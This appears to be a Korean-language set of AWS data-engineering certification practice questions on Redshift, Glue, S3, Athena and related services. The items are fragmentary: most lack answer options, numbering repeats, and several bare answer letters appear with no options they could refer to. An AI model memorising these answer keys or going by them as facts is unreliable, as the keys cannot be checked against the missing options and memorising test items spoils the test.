골드에그

1 . 한 금융 서비스 회사는 Amazon Redshift를 사용하여 새 클라우드 데이터 웨어하우스를 구축하고 있다. 회사는 데이터 웨어하우스를 사용하여 주간 수익 추세를 분석하려 한다. 회사는 규정 준수를 위해 Amazon Redshift 내 활동을 모니터링하고 추적하는 감사 및 추적 솔루션을 구현하고자 한다. 이 회사는 SQL 쿼리, 사용자 상호 작용, 데이터베이스 및 객체의 변경 사항을 캡처하려고 한다.

다음 중 최소한의 운영 오버헤드로 이러한 요구 사항을 충족하는 솔루션은 무엇인가?

3 . 회사가 AWS에서 Amazon Redshift 클러스터를 운영하고 있다. 최근 클러스터를 감사한 결과 클러스터 생성 이후로 애플리케이션 데이터베이스 자격 증명이 교체되지 않은 것으로 확인됐다. 데이터 엔지니어는 데이터베이스 자격 증명의 보안 스토리지 및 자동 교체를 구성해야 한다. 다음 중 이러한 요구 사항을 충족하는 솔루션은 무엇인가?

4 . 외부 클라우드 데이터 웨어하우스에 과거 데이터 집합을 저장하는 회사가 있다. 이 회사는 이러한 대규모 데이터 집합을 Amazon Redshift로 신속하게 마이그레이션하려고 한다. 데이터 집합 마이그레이션은 워크로드를 AWS로 마이그레이션하기 위한 통합 프로젝트의 일환이다. 다음 중 최소한의 노력으로 이러한 요구 사항을 충족하는 단계의 조합은 무엇인가? (2개 선택.)

5 . 회사에 30초마다 AWS에 5MB의 데이터를 업로드하는 IoT 디바이스 애플리케이션이 있다. 디바이스에서 데이터를 업로드한 후에 데이터는 디바이스에서 자동으로 제거된다. 데이터는 변환한 뒤에 Amazon S3 버킷에 저장되어야 한다. 데이터 변환은 간단하며 몇 초 내에 완료된다. 또한 변환되지 않은 데이터의 복사본은 나중에 다른 처리에서 사용할 수 있도록 두 번째 S3 버킷에 저장되어야 한다. 어떤 이유로 데이터가 성공적으로 변환되지 않으면 작업을 다시 시도할 수 있는 기능이 필요하다. 다음 중 이러한 요구 사항을 충족하는 솔루션은 무엇인가?

6 . 추출, 변환 및 로드(ETL) 처리를 위해 AWS Glue를 사용하고 데이터 스토리지를 위해 Amazon S3 버킷을 사용하는 회사가 있다. AWS Glue 작업과 S3 버킷은 동일한 AWS 리전에 위치한다. 현재 AWS Glue 작업은 퍼블릭 인터넷을 통해 S3 버킷에 액세스한다. 그러나 회사에서는 AWS Glue 작업과 S3 버킷 간에 프라이빗 연결을 구성하려고 한다. 다음 중 가장 비용 효율적인 방식으로 이러한 요구 사항을 충족하는 단계의 조합은 무엇인가? (2개 선택.)

7 . 회사가 Amazon Elastic Container Service(Amazon ECS)에서 호스팅되는 분산 애플리케이션을 보유하고 있다. 애플리케이션은 Amazon CloudWatch Logs에 저장되는 애플리케이션 로그를 만든다. 회사는 로그 데이터를 쿼리하고 추세를 파악하고자 한다.

다음 중 최소한의 운영 오버헤드로 이러한 요구 사항을 충족하는 솔루션은 무엇인가?

8 . 한 회사에서 개인 식별 정보(PII) 데이터를 감지하는 솔루션을 만들려고 한다. 솔루션은 다양한 AWS 데이터 집합과 파일 형식에서 PII 데이터를 식별할 수 있어야 한다. 솔루션은 데이터를 준비하는 동안 데이터 마스킹 기술을 제공해야 한다. 다음 중 이러한 요구 사항을 충족하는 솔루션은 무엇인가? (2개 선택.)

10 . 한 회사는 웹 서버에서 파일 업로드를 받은 다음 파일 서버에 파일을 저장하는 온프레미스 애플리케이션을 실행한다. 매일 밤 파일 서버의 태스크가 그날 업로드된 각 파일에 대해 AWS Lambda 함수를 한 번씩 호출한다. 회사에서는 파일을 받은 후 바로 파일 처리를 시작하고자 한다. 회사는 야간 태스크를 폐기하고자 한다. 다음 중 최소한의 노력으로 이러한 요구 사항을 충족하는 솔루션은 무엇인가?

11 . 한 회사가 비즈니스에 적합한 새로운 데이터 스토리지 솔루션을 구현하려고 한다. 이 회사는 다양한 소스에서 원시 데이터를 수집한다. 데이터 엔지니어는 다양한 도구의 데이터를 지원할 수 있는 데이터 스토리지 솔루션을 구현해야 한다. 도구는 비즈니스 인텔리전스(BI) 대시보드에서 Apache Spark를 사용한 데이터 과학 프로그래밍에 이르기까지 다양하다. 스토리지는 내구성이 뛰어나고 비용 효율적이어야 한다. 다음 중 이러한 요구 사항을 충족하는 솔루션은 무엇인가?

12 . JSON 형식의 데이터를 검색, 정리하고 스키마 일관성을 보장하기 위해 데이터 레이크를 구축해야 하는 데이터 엔지니어가 있다.

다음 중 최소한의 운영 오버헤드로 이러한 요구 사항을 충족하는 솔루션은 무엇인가?

13 . 한 데이터 엔지니어가 Amazon S3에 저장된 데이터에서 생성된 테이블에 대해 쿼리하는 데 Amazon Athena를 사용한다. 테이블은 날짜 및 시간을 기준으로 분할된다. 테이블은 세부적으로 분할되지만 쿼리는 파티션의 하위 집합만 읽는다. 이 테이블의 파티션 메타데이터를 관리하는 가장 효율적인 방법은 무엇인가?

15 . 한 회사가 SaaS(서비스형 소프트웨어) 애플리케이션을 Amazon S3 데이터 레이크와 통합하여 데이터를 분석하려고 한다. 데이터 엔지니어는 SaaS 애플리케이션에서 Amazon S3로 데이터를 전송하는 솔루션을 설계해야 한다. 솔루션은 Amazon Athena에서 SQL을 사용하여 데이터를 사용할 수 있어야 한다. 회사는 전송 중에 데이터가 암호화되기를 원한다. 다음 중 어떤 단계를 조합해야 이러한 요구 사항을 충족할 수 있는가? (2개 선택.)

16 . 한 전자 상거래 회사에서 일일 데이터 처리 Apache Spark 작업을 실행하여 판매 통계를 계산하고 데이터 분석가에게 알림을 보내려고 한다. 원시 데이터는 Amazon S3에서 사용할 수 있다. SQL을 통해 통계를 사용할 수 있어야 하며 통계는 Amazon S3에 유지한다.

다음 중 최소한의 운영 오버헤드로 이러한 요구 사항을 충족하는 솔루션은 무엇인가?

17 . 매주 회사가 위치한 지역의 대기 질 변화를 분석하려는 회사가 있다. 이 회사는 Amazon QuickSight 대시보드에 결과를 제공하는 서버리스 데이터 파이프라인을 AWS에 구축했다. 하지만 대시보드 데이터가 매주 자동으로 새로 고침되지 않고 있다. 데이터 엔지니어가 데이터 파이프라인이 정기적으로 실행되지 않는 것을 발견한다. 데이터 엔지니어는 문제를 해결하기 위해 프레임워크를 오케스트레이션하고 일정을 잡아야 한다. 다음 중 최소한의 운영 오버헤드로 이러한 요구 사항을 충족하는 솔루션은 무엇인가?

19 . 한 회사는 중앙 집중식 데이터 웨어하우스 AWS 계정에서 Amazon Redshift를 사용한다. 새 프로젝트에서 데이터 엔지니어는 데이터 웨어하우스에 저장된 일부 데이터에 대한 분석 파이프라인을 개발해야 한다. 프로젝트는 별도의 데이터 분석가 AWS 계정에서 구축된다. 클러스터에 저장된 테이블의 여러 열에는 개인 식별 정보(PII)가 포함되어 있다. 프로젝트 개발 단계 동안 데이터 분석가 AWS 계정에 PII에 대한 액세스 권한을 부여해서는 안 된다. 다음 중 최소한의 운영 오버헤드로 이러한 요구 사항을 충족하는 솔루션은 무엇인가?

20 . 한 전자 상거래 회사는 AWS Glue ETL(추출, 변환 및 로드)을 사용하여 데이터 파이프라인을 운영한다. 먼저 Amazon S3 버킷은 파이프라인에서 원시 판매 데이터를 저장한다. 그런 다음 AWS Glue는 데이터를 변환하여 Amazon Redshift 데이터 웨어하우스에 데이터를 로드한다. 분석 담당자는 SQL을 사용하여 Amazon Redshift를 쿼리하고 보고서를 생성한다.

회사는 상품 판매 테이블에서 선택된 열에 대해 수익률을 계산하는 비즈니스별 로직을 구현하려고 한다. 분석 담당자는 이 솔루션을 통해 더 나은 보고서를 작성할 수 있어야 한다.

다음 중 어떤 단계를 조합해야 최소한의 운영 오버헤드로 이러한 요구 사항을 충족할 수 있는가? (2개 선택.)

23 . 한 회사는 Amazon S3에서 데이터 레이크를 사용한다. 직원들은 모든 부서의 데이터에 액세스할 수 있다. 회사는 Amazon Athena를 사용하여 데이터 레이크에서 인사이트를 추출할 수 있다. 한 데이터 엔지니어는 계좌 번호와 같은 일부 민감한 데이터에 대한 액세스에 제한을 두는 보안 계층을 구현하려고 한다. 보안 규칙은 테이블의 메타데이터 카탈로그에 직접 구현되어야 한다. 다음 중 이러한 요구 사항을 충족하는 솔루션은 무엇인가?

24 . 한 금융 회사가 운영 시스템의 판매 데이터를 Amazon S3으로 내보낸다. 회사는 이 데이터를 사용하여 판매 수익 추세를 월별로 분석한다. 데이터는 Apache Parquet 형식으로 Amazon S3에 수집된다. 데이터는 날짜별로 파티션이 분할된다. 데이터 엔지니어가 설계하는 솔루션을 사용하여 데이터 분석가가 데이터를 분석할 수 있어야 한다. 데이터 분석가는 데이터를 사용하여 월별 추세를 게시한다. 다음 중 최소한의 운영 오버헤드로 이러한 요구 사항을 충족하는 솔루션은 무엇인가?

25 . Amazon S3 데이터 레이크를 사용하는 회사가 있다. 소스 파일은 매일 데이터 레이크에 수집된다. 데이터 분석 팀은 들어오는 데이터를 처리하기 위해 Amazon S3에서 이벤트 기반 파이프라인을 구축해야 한다. 파이프라인은 데이터를 처리하고 다른 S3 버킷에 데이터를 저장하기 위해 AWS Lambda 함수를 사용한다. 팀은 들어오는 S3 버킷에 파일이 도착할 때마다 Lambda 함수가 호출되도록 하려고 한다. 다음 중 이러한 요구 사항을 충족하는 솔루션은 무엇인가? (2개 선택.)

28 . 회사가 암호화되지 않은 Amazon Redshift 클러스터를 보유하고 있다. 새로운 보안 규정에 따라 AWS Key Management Service(AWS KMS) 키로 클러스터를 암호화해야 한다. 또한 6개월마다 암호화 키를 교체해야 한다.

다음 중 최소한의 노력으로 이러한 요구 사항을 충족하는 솔루션은 무엇인가?

29 . 데이터 분석을 수행하기 위해 SQL을 사용하여 다양한 소스의 데이터를 쿼리하고 조인해야 하는 데이터 엔지니어가 있다. 데이터는 JSON 및 Parquet 형식으로 Amazon Redshift 클러스터와 Amazon S3 버킷에 있다.

다음 중 최소한의 개발 노력으로 데이터의 두 소스를 함께 쿼리하기 위해 사용해야 하는 AWS 서비스는 무엇인가?

30 . 한 회사가 공급망의 각 단계에 제품의 프로덕션 레코드를 저장한다. 데이터 엔지니어는 Amazon S3 Standard 스토리지에 매일 CSV 형식으로 저장되도록 이러한 레코드를 구성한다. 그런 다음 데이터 엔지니어는 Amazon Athena를 사용하여 프로덕션 레코드를 기반으로 보고용 테이블을 생성한다. 또한 데이터 엔지니어는 공급망의 각 단계에 해당하는 보고서를 생성한다. 데이터 엔지니어는 효율성을 유지하기 위해 스캔하는 데이터의 양을 제한하고자 한다. 다음 중 가장 비용 효율적인 방식으로 이러한 요구 사항을 충족하는 솔루션은 무엇인가?

31 . 대중교통 시스템의 원격 측정 데이터를 수집, 변환하고 Amazon DynamoDB 테이블에 저장하는 회사가 있다. 데이터 엔지니어는 데이터를 분석하기 위한 솔루션을 설계해야 한다. 지난 90일 동안의 데이터를 테이블에서 가져와 일일 분석을 위해 사용자 지정 웹 페이지에 표시해야 한다. 오래된 원격 측정 데이터는 데이터가 삭제되기 전 3년 동안 Amazon S3 데이터 레이크에 보관해야 한다. 3년의 보관 기간 동안 회사는 때때로 Amazon Athena를 사용하여 데이터를 쿼리할 것이다.

다음 중 가장 비용 효율적으로 이러한 요구 사항을 충족하는 단계의 조합은 무엇인가? (3개 선택.)

33 . 다양한 외부 데이터베이스에서 개인 식별 정보(PII)가 포함된 데이터를 수집하는 솔루션이 필요한 회사가 있다. 데이터는 Amazon S3 데이터 레이크에 저장된다. PII 데이터는 회사의 PII 정책으로 인해 데이터가 수집된 후에는 권한이 없는 개인에게 노출될 수 없다. 모든 PII 데이터는 노출을 제한하기 위해 적절하게 식별되고 마스킹되어야 한다. 다음 중 PII 데이터를 식별하고 마스킹하기 위해 회사가 사용해야 하는 솔루션은 무엇인가?

34 . 데이터를 기계 학습 모델에 수집하기 전에 데이터 집합의 품질과 일관성을 평가해야 하는 데이터 엔지니어가 있다. 데이터 집합에는 여러 소스의 고객 인구 통계 정보가 포함되어 있다. 데이터 엔지니어는 평가에 필요한 데이터 프로파일링을 위해 AWS Glue DataBrew를 사용하려 한다. 다음 중 이러한 요구 사항을 충족하는 솔루션은 무엇인가?

35 . 한 데이터 엔지니어는 온프레미스 MySQL 서버에서 Amazon RDS 기반으로 실행되는 MySQL 데이터베이스로 데이터를 복제하도록 설정해야 한다. 솔루션은 기존 데이터를 마이그레이션하고 추후 데이터 변경 사항도 복제할 수 있어야 한다. 데이터 엔지니어는 AWS Database Migration Service(AWS DMS)를 사용하여 솔루션을 설정할 계획이다.

다음 중 최소한의 노력으로 이러한 요구 사항을 충족하는 단계는 무엇인가? (2개 선택.)

36 . 한 금융 회사가 Amazon S3, AWS Lambda 및 Amazon DynamoDB가 포함된 서버리스 데이터 처리 애플리케이션을 개발 중이다. 사용자는 Amazon S3에 CSV 파일을 업로드한다. 업로드하면 Lambda 함수가 호출된다. Lambda 함수는 몇 분 내에 CSV 파일의 데이터를 처리하고 DynamoDB 테이블에 데이터를 저장한다. 크기가 작은 파일은 제대로 처리되고 있다. 그러나 회사는 여러 대용량 파일을 테스트할 때 파일이 전부 처리되지 않는 점을 발견했다. 이 문제의 원인은 무엇인가?

37 . AWS Step Functions 상태 머신이 데이터 처리를 수행하고 있다. AWS Glue 크롤러를 비동기식으로 시작하기 위한 새로운 요구 사항이 접수되었다. AWS Glue 크롤러는 Amazon S3 버킷의 데이터를 처리한다. 이를 수행하려면 데이터 엔지니어가 추가 태스크 상태를 추가하여 Step Function 상태 머신 정의를 수정해야 한다. 또한 두 가지 기존 상태 사이에 새 태스크 상태를 추가해야 한다.

다음 이러한 요구 사항을 충족하는 태스크 정의 필드는 무엇인가? (3개 선택.)

38 . 한 회사가 A 계정의 AWS Glue 크롤러를 사용하여 동일한 계정의 Amazon S3 버킷에 연결하고 있다. AWS Glue 크롤러는 S3 버킷에 저장된 AWS CloudTrail 로그에 액세스하고 카탈로그를 작성한다. 데이터 엔지니어는 AWS Glue 크롤러가 B 계정의 S3 버킷에 저장된 VPC 흐름 로그에 액세스하고 카탈로그화할 수 있도록 파이프라인을 설정해야 한다.

다음 중 어떤 단계를 조합해야 이러한 요구 사항을 충족할 수 있는가? (2개 선택.)

40 . Amazon S3 버킷에 Avro 파일로 저장된 기록 데이터를 분석하려는 회사가 있다. 전체 데이터 크기는 약 50TB이다. 데이터 크기는 매달 5TB씩 증가한다. 데이터는 부서, 날짜 및 고객 ID에 기반하여 계층 구조로 저장된다. 회사는 각 부서에서 해당 부서의 데이터에만 액세스할 수 있도록 데이터 액세스를 분리하려고 한다. 데이터는 월말에 보고서를 생성하기 위해서만 쿼리한다. 보고서는 날짜 및 고객 ID별로 필터링해야 한다. 다음 중 최소한의 운영 오버헤드로 이러한 요구 사항을 충족하는 솔루션은 무엇인가?

42 . 한 회사에서 데이터 집약적인 워크로드를 AWS Lambda 함수로 마이그레이션하려고 한다. 기존 워크로드는 250GB의 탑재된 데이터 볼륨을 참조한다. 이 회사는 Lambda용 코드를 리팩터링하는 동안 변경 사항을 가능한 한 최소화하고자 한다.

다음 중 이러한 요구 사항을 충족하는 솔루션은 무엇인가?

43 . 날씨 패턴을 추적하는 회사에서 전 세계에 많은 센서를 배포했다. 센서에서는 날씨 데이터가 포함된 1KB XML 파일이 지속적으로 생성된다. 모든 센서의 데이터는 15분마다 집계되어 Amazon S3 버킷에 전송된다. 버킷의 데이터는 접두사 형식 YYYYY-MM-DD-HH-mm으로 저장된다.

이 회사는 Amazon Redshift를 사용하여 최신 날씨 데이터가 반영된 대시보드를 지속적으로 업데이트하고자 한다. 데이터 엔지니어는 Amazon Redshift에 데이터를 로드하는 수집 솔루션을 설계해야 한다.

다음 중 최소한의 운영 오버헤드로 이러한 요구 사항을 충족하는 솔루션은 무엇인가?

44 . AWS Glue DynamicFrame을 사용하여 추출, 변환 및 로드(ETL) 작업을 만든 데이터 엔지니어가 있다. 소스 AWS Glue 테이블은 세부적으로 파티셔닝되어 있다. 테이블은 쿼리 향상을 위해 파티션 인덱스를 사용한다. 쿼리 성능을 높이고 비용을 절감하기 위해 ETL을 최적화하려면 데이터 엔지니어는 DynamicFrame에 필요한 데이터만 나열하고 읽어야 한다. 또한 엔지니어는 테이블 파티션 인덱스를 사용해야 한다.

다음 중 가장 비용 효율적인 방식으로 이러한 요구 사항을 충족하는 솔루션은 무엇인가?

45 . 한 데이터 엔지니어는 AWS Glue 작업을 사용하여 Amazon S3에서 많고 작은 JSON 파일을 읽는다. 그 다음 작업에서는 분석 쿼리를 위해 파일을 변환한다. 현재 작업에서는 많고 작은 파일을 Amazon S3으로 출력한다. 데이터 엔지니어는 작업에서 더 큰 파티션을 만들려고 한다. 솔루션으로 인해 작업의 런타임이 크게 늘어나서는 안 된다.

다음 중 이러한 요구 사항을 충족하는 솔루션은 무엇인가?

46 . Amazon Simple Queue Service(Amazon SQS) 대기열에서 JSON 메시지로 배송 주문을 수신하는 자동차 회사가 있다. 이 회사는 주문 관리를 위해 AWS Step Functions 워크플로를 사용한다. 데이터 엔지니어는 대기열에서 워크플로로 주문을 전달하는 솔루션을 만들어야 한다. 차량 20대 미만인 주문은 폐기해야 한다.

다음 중 최소한의 개발 노력으로 이러한 요구 사항을 충족하는 솔루션은 무엇인가?

48 . 한 회사에서 Amazon S3을 사용하여 AWS에 데이터 레이크를 구축했다. 하지만 데이터를 분류하는 메타데이터가 없다. 데이터 엔지니어는 데이터 레이크 테이블과 열을 카탈로그화하여 데이터 레이크를 보다 잘 구성할 수 있는 자동화 프로세스를 만들려고 한다. 잠재적 스키마 변경 사항을 지원하고 변경 내역을 기록하는 솔루션이 필요하다.

다음 중 최소한의 운영 오버헤드로 이러한 요구 사항을 충족하는 솔루션은 무엇인가?

49 . 한 회사는 규정 준수를 위해 특정 보존 한도에 도달한 후 Amazon S3 데이터 레이크에서 레코드를 삭제해야 한다.

다음 중 최소한의 운영 오버헤드로 이러한 요구 사항을 충족하는 솔루션은 무엇인가?

50 . 한 글로벌 에너지 회사가 건물의 다양한 장비에서 센서 측정값을 캡처하여 Amazon DynamoDB에 측정값을 저장하는 솔루션을 개발 중이다. 여러 지역에 건물이 있다. 각 건물에는 여러 개의 장비가 있다. 각 장비에는 측정값을 캡처하는 센서가 여러 개 있다. 센서는 10분마다 새로운 값을 내보낸다. 데이터 엔지니어는 테이블 내에서 복합 키를 사용하려고 하는데, 여기서 파티션 키는 BUILDING_ID이고 정렬 키는 DATETIMESTAMP이다.

애플리케이션 개념 증명을 테스트하는 동안 데이터 엔지니어는 불균형한 데이터 액세스 패턴을 발견했다.

다음 중 불균형한 데이터 액세스 패턴을 해결할 솔루션은 무엇인가?

51 . Amazon Elastic Kubernetes Service(Amazon EKS)에서 인력 관리 시스템을 운영하는 회사가 있다. 이 관리 시스템은 여러 클러스터와 관리형 노드 그룹에서 수백 개의 포드로 실행되는 수십 개의 마이크로서비스로 구성되어 있다. 이 회사는 모니터링과 디버깅을 향상하려 한다. 회사는 마이크로서비스에 대한 더 나은 가시성을 원한다. 데이터 엔지니어는 중앙 위치에서 낮은 수준의 지표와 로그 데이터를 볼 수 있는 솔루션을 설계해야 한다. 회사는 쿼리 결과를 거의 실시간으로 시각화하려 한다.

다음 중 이러한 요구 사항을 충족하는 솔루션은 무엇인가?

53 . 한 공급망 회사가 Amazon Redshift에서 데이터 웨어하우스를 운영하고 있다. 회사는 2주마다 업데이트되는 인벤토리 데이터를 사용하여 분석하려고 한다. 데이터는 공급망의 새 인벤토리 항목의 레코드로 구성되어 있다. 또한 데이터는 재배치된 항목 또는 상태가 업데이트된 항목의 변경 사항이 반영된 레코드로 구성되어 있다. 회사는 예측 목적으로 과거 내역을 상세히 분석할 인벤토리 데이터가 필요하다. Amazon Redshift에는 중복 레코드가 없어야 한다. 데이터 엔지니어는 데이터 정확도를 확인하기 위해 업데이트 프로세스를 구성해야 한다.

다음 중 가장 효율적으로 이러한 요구 사항을 충족하는 솔루션은 무엇인가?

55 . 한 데이터 엔지니어가 데이터를 수집하고, Amazon EMR로 데이터를 처리하고, Amazon Redshift에 데이터를 저장하는 데이터 파이프라인을 만들었다. 데이터 엔지니어는 데이터 파이프라인을 모니터링해야 한다.

다음 중 이 요구 사항을 가장 효율적인 방법으로 충족하는 솔루션은 무엇인가?

56 . AWS에 인프라를 구축하는 스타트업 회사가 있다. 이 회사는 주로 Amazon S3에 데이터를 저장한다. 회사는 Amazon Athena를 사용하여 데이터를 쿼리한다. 최근 회사는 Apache Spark와 기계 학습 라이브러리로 데이터를 처리하기 위해 Amazon EMR을 구현했다.

회사가 성장하고 데이터가 더욱 복잡해짐에 따라 회사는 계속해서 AWS 서비스를 추가로 구현하고 있다. 회사는 Amazon S3 외에도 일부 데이터를 Hadoop 분산 파일 시스템(HDFS)에 저장한다. 회사에는 공통 데이터 카탈로그가 없다. 일부 데이터는 AWS Glue 데이터 카탈로그에 카탈로그화되어 있고, 나머지 데이터는 Apache Hive 메타스토어에 카탈로그화되어 있다. 데이터 엔지니어링 팀은 데이터를 정리하는 솔루션을 설계해야 한다. 데이터 엔지니어링 팀은 솔루션에서 데이터 내구성에 우선 순위를 두어야 한다.

다음 중 최소한의 마이그레이션 노력으로 이러한 요구 사항을 충족하는 솔루션은 무엇인가?

57 . 온프레미스 Apache Hadoop 클러스터를 사용하여 다양한 배치 처리 작업을 실행하는 회사가 있다. 이 작업은 Apache Spark, Apache Hive, Presto, TensorFlow, Apache MXNet 등 다양한 프레임워크와 언어에서 실행된다. 이 회사에서는 저장되는 데이터의 양이 크게 증가할 것으로 예상하고 있다. 회사는 스토리지를 확장성을 위해 AWS로 마이그레이션하려고 한다. 회사는 데이터의 내구성을 높이고 기존 작업을 재사용하려 한다.

다음 중 이러한 요구 사항을 가장 비용 효율적으로 충족하는 솔루션은 무엇인가?

58 . 한 데이터 엔지니어 팀이 방금 고객으로부터 데이터 분석을 시연하기 위한 CSV 파일을 받았다. 팀은 고객에게 데이터를 시각화하는 방법을 보여 주고자 한다. 팀은 파일을 직접 업로드하고 Amazon QuickSight에서 검토한다. 그런데 팀은 데이터가 올바른 형식으로 지정되지 않은 점을 발견했다. 따라서 QuickSight에서 데이터를 시각화할 준비가 되지 않았다.

팀에서 운영 오버헤드를 최소화하면서 이렇게 형식이 잘못 지정된 데이터를 시각화하려면 어떻게 해야 하는가?

63 . 한 회사는 이전에 VPC의 리소스에 연결하도록 AWS Glue DataBrew를 구성했다. 회사는 새 데이터 엔지니어링 팀이 관리할 새 AWS 계정으로 DataBrew 사용량을 재배치하기로 결정했다. 현재 계정의 모든 DataBrew 사용량은 폐기된다. 이 프로세스의 일환으로 데이터 엔지니어는 DataBrew 연결이 허용된 VPC와 연결되어 있는 기존 AWS 보안 그룹을 삭제해야 한다.

다음 중 어떤 단계를 조합해야 이러한 요구 사항을 충족할 수 있는가? (2개 선택.)

37 . 

데이터 엔지니어는 AWS로 실시간 스트리밍 데이터를 수집하는 것을 관리해야 합니다. 데이터 엔지니어는 최대 30분 동안 시간 기반 집계를 사용하여 들어오는 스트리밍 데이터에 대한 실시간 분석을 수행하려고 합니다. 데이터 엔지니어는 매우 내결함성이 뛰어난 솔루션이 필요합니다.
어떤 솔루션이 최소한의 운영 오버헤드로 이러한 요구 사항을 충족할까요?

38 .

한 회사가 Amazon Elastic Block Store(Amazon EBS) General Purpose SSD 스토리지를 gp2에서 gp3로 업그레이드할 계획입니다. 이 회사는 업그레이드된 스토리지로 마이그레이션하는 동안 데이터 손실을 일으킬 Amazon EC2 인스턴스의 중단을 방지하고자 합니다.
어떤 솔루션이 가장 적은 운영 오버헤드로 이러한 요구 사항을 충족할까요?

정답 : C

39 .

한 회사가 Microsoft SQL Server를 실행하는 Amazon EC2 인스턴스에서 Microsoft SQL Server DB 인스턴스용 Amazon RDS로 데이터베이스 서버를 마이그레이션하고 있습니다. 회사의 분석 팀은 마이그레이션이 완료될 때까지 매일 대용량 데이터 요소를 내보내야 합니다. 데이터 요소는 여러 테이블에 걸친 SQL 조인의 결과입니다. 데이터는 Apache Parquet 형식이어야 합니다. 분석 팀은 Amazon S3에 데이터를 저장해야 합니다.
어떤 솔루션이 가장 운영 효율적인 방식으로 이러한 요구 사항을 충족할까요?

정답 : C

40 .

데이터 엔지니어링 팀은 운영 보고를 위해 Amazon Redshift 데이터 웨어하우스를 사용하고 있습니다. 이 팀은 장기 실행 쿼리로 인해 발생할 수 있는 성능 문제를 방지하고자 합니다. 데이터 엔지니어는 쿼리 최적화 프로그램이 성능 문제를 나타낼 수 있는 조건을 식별할 때 Amazon Redshift에서 시스템 테이블을 선택하여 이상을 기록해야 합니다.
이 요구 사항을 충족하기 위해 데이터 엔지니어는 어떤 테이블 뷰를 사용해야 합니까?

• A. STL_USAGE_CONTROL
• B. STL_ALERT_EVENT_LOG
• C. STL_QUERY_METRICS
• D. STL_PLAN_INFO

정답 : B

41 .

데이터 엔지니어는 .csv 형식의 구조화된 데이터 소스를 Amazon S3 데이터 레이크로 수집해야 합니다. .csv 파일에는 15개의 열이 있습니다. 데이터 분석가는 데이터 세트의 1~2개 열에 Amazon Athena 쿼리를 실행해야 합니다. 데이터 분석가는 전체 파일을 쿼리하는 경우가 드뭅니다. 어떤 솔루션이 이러한 요구 사항을 가장 비용 효율적으로 충족할까요?

43 . 한 회사에는 서로 다른 AWS 지역에 5개의 사무실이 있습니다. 각 사무실에는 고유한 IAM 역할을 사용하는 자체 인사(HR) 부서가 있습니다. 이 회사는 Amazon S3 스토리지를 기반으로 하는 데이터 레이크에 직원 기록을 저장합니다.
데이터 엔지니어링 팀은 기록에 대한 액세스를 제한해야 합니다. 각 HR 부서는 HR 부서의 지역 내에 있는 직원의 기록에만 액세스할 수 있어야 합니다.
데이터 엔지니어링 팀은 최소한의 운영 오버헤드로 이 요구 사항을 충족하기 위해 어떤 단계 조합을 취해야 합니까? (두 가지를 선택하세요.)

정답 : BD

44 .

한 회사가 Amazon EC2 인스턴스에서 실행되는 애플리케이션을 개발하고 있습니다. 현재 애플리케이션에서 생성하는 데이터는 일시적입니다. 그러나 회사는 EC2 인스턴스가 종료되더라도 데이터를 유지해야 합니다.
데이터 엔지니어는 Amazon Machine Image(AMI)에서 새 EC2 인스턴스를 시작하고 데이터를 보존하도록 인스턴스를 구성해야 합니다.
어떤 솔루션이 이 요구 사항을 충족할까요?

48 .

데이터 엔지니어가 Amazon Athena를 사용하여 Amazon S3에 있는 판매 데이터를 분석하고 있습니다. 데이터 엔지니어는 sales_data라는 테이블에서 여러 제품의 2023년 판매 금액을 검색하는 쿼리를 작성합니다. 그러나 이 쿼리는 sales_data 테이블에 있는 모든 제품에 대한 결과를 반환하지 않습니다. 데이터 엔지니어는 문제를 해결하기 위해 쿼리의 문제를 해결해야 합니다.
데이터 엔지니어의 원래 쿼리는 다음과 같습니다.

SELECT product_name, sum(sales_amount)
FROM sales_data
WHERE year = 2023
GROUP BY product_name

데이터 엔지니어는 이러한 요구 사항을 충족하기 위해 Athena 쿼리를 어떻게 수정해야 합니까?

49 .

데이터 엔지니어는 Amazon S3 버킷에 있는 Apache Parquet 형식의 객체에서 데이터를 읽는 일회성 작업을 합니다. 데이터 엔지니어는 데이터의 한 열만 쿼리하면 됩니다.
어떤 솔루션이 최소한의 운영 오버헤드로 이러한 요구 사항을 충족할까요?

정답 : B

더 이상 S3 Select 를 사용할 수 없음

50 .

한 회사가 데이터 웨어하우스에 Amazon Redshift를 사용합니다. 이 회사는 Amazon Redshift 구체화된 뷰에 대한 새로 고침 일정을 자동화해야 합니다. 어떤 솔루션이 최소한의 노력으로 이 요구 사항을 충족할까요?

정답 : C

51 .

데이터 엔지니어는 하나의 AWS Lambda 함수와 하나의 AWS Glue 작업으로 구성된 데이터 파이프라인을 조율해야 합니다. 솔루션은 AWS 서비스와 통합되어야 합니다. 어떤 솔루션이 가장 적은 관리 오버헤드로 이러한 요구 사항을 충족할까요?

52 .

회사는 AWS 클라우드에서 실행되는 데이터 소스에 대한 데이터 카탈로그와 메타데이터 관리를 설정해야 합니다. 회사는 데이터 카탈로그를 사용하여 데이터 저장소 세트에 있는 모든 객체의 메타데이터를 유지 관리합니다. 데이터 저장소에는 Amazon RDS 및 Amazon Redshift와 같은 구조화된 소스가 포함됩니다. 데이터 저장소에는 Amazon S3에 저장된 JSON 파일 및 .xml 파일과 같은 반구조화된 소스도 포함됩니다.
회사는 정기적으로 데이터 카탈로그를 업데이트하는 솔루션이 필요합니다. 솔루션은 또한 소스 메타데이터의 변경 사항을 감지해야 합니다.
어떤 솔루션이 최소한의 운영 오버헤드로 이러한 요구 사항을 충족할까요?

한 회사에서 Amazon Redshift 프로비저닝 클러스터를 데이터베이스로 사용합니다. Redshift 클러스터에는 예약된 ra3.4xlarge 노드 5개가 있으며 키 분배를 사용합니다.
데이터 엔지니어는 노드 중 하나가 자주 90%를 넘는 CPU 부하를 갖는다는 것을 알아챘습니다. 노드에서 실행되는 SQL 쿼리는 대기열에 추가됩니다. 다른 4개 노드는 일반적으로 일상적인 작업 중에 CPU 부하가 15% 미만입니다.
데이터 엔지니어는 현재 컴퓨팅 노드 수를 유지하려고 합니다. 또한 데이터 엔지니어는 5개 컴퓨팅 노드 전체에 부하를 보다 균등하게 분산하려고 합니다.
어떤 솔루션이 이러한 요구 사항을 충족할까요?

정답 : B

정렬 키는 데이터 저장 순서를 결정하고 특정 쿼리에 대한 쿼리 성능을 개선할 수 있지만, 노드 간 데이터 분포에는 직접적인 영향을 미치지 않는다. 따라서 이는 불균일한 CPU 부하 문제를 해결하지 못한다.

56 .

보안 회사는 JSON 형식의 IoT 데이터를 Amazon S3 버킷에 저장합니다. 회사에서 IoT 기기를 업그레이드하면 데이터 구조가 변경될 수 있습니다. 회사는 IoT 데이터를 포함하는 데이터 카탈로그를 만들고자 합니다. 회사의 분석 부서는 데이터 카탈로그를 사용하여 데이터를 색인화합니다.
